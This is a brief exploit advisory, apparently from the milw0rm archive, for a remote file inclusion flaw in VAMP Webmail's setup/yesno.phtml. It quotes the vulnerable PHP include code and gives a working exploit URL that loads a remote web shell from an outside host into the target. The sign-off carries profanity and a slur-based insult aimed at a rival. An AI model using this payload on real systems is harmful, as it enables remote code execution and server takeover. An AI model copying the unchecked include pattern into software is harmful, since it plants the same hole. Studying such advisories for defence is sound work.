ToXiC

#VAMP Webmail Remote File Inclusion by ToXiC CreW

#BuG FounD by Drago84

#Application Affect:VAMP Webmail

#Page:

yesno.phtml

#Dir :

/setup/

#Problem:

<?if($answer=="Yes") {

include $yes_url;

} else {

include $no_url;

}?>

ExPloit :

#http://www.site.com/wamp_dir/setup/yesno.phtml?no_url=http://sonic-banda-di-lamer.gay/shell.php?

GrEatZ All Member of ToXiC, Str0ke

#FUCK #Sonic

ToXic Security Italian CreW

ToXiC

milw0rm.com [2006-09-30]